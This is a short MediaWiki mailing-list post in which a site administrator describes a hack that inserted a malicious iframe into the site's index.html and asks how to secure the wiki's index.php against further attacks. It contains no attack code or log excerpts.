[Mediawiki-l] Index.php page under hackers attack?

[Itay Ophir]

Hi Everyone,

 

I hope this is the right place to ask about this (pls point me elsewhere is
needed)

 

Our MediaWiki was hacked (twice in the past month) and someone was able to
change the root index.html files of our website and add an Iframe to it that
loads a malicious java applet. If users select to run the applet it installs
a virus/torjan on their PC. 

After reading the log file I am thinking it's the Wiki's index.php page. The
hosting is NetworkS' who said that I have a vulnerable php script. And I
should fix it.

 

This is from the log files:

Can anyone advice on how to protect it/prevent future attacks?

 

Thanks a lot in advance!
